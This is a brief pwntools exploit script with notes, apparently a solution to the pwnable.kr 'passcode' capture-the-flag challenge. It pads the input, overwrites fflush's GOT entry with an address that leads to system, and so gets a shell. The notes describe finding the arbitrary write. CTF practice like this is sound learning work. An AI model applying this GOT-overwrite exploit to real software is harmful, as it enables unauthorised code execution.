#scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./
'''I can overwrite ebp-0x10 with the given integer value, but not ebp-0xc due to the length constraint.
No idea yet on how to overwrite the second passcode value to get the shell.
This means I got an arbitarary write. I can write anything anywhere.
I was stuck at this for some time because I was just thinking of making the check condition true and not about the write access.
Then I thought to overwrite the got table entry of a calling function to the system's address.
And thus got execve executed.
Then I was stuck when I couldn't get the scanf read the system address. But after some time I understood my foolishness that, it was
taking an integer value.
'''
from pwn import *
fflush_got = p32(0x0804a004)
system = "134514147"
p = process('/home/geethna/binary/pwn.kr/passcode')
#gdb.attach(p)
p.recvline()
exp1 ="a"*96 + fflush_got + system
p.sendline(exp1)
#p.interactive()
#print exp1
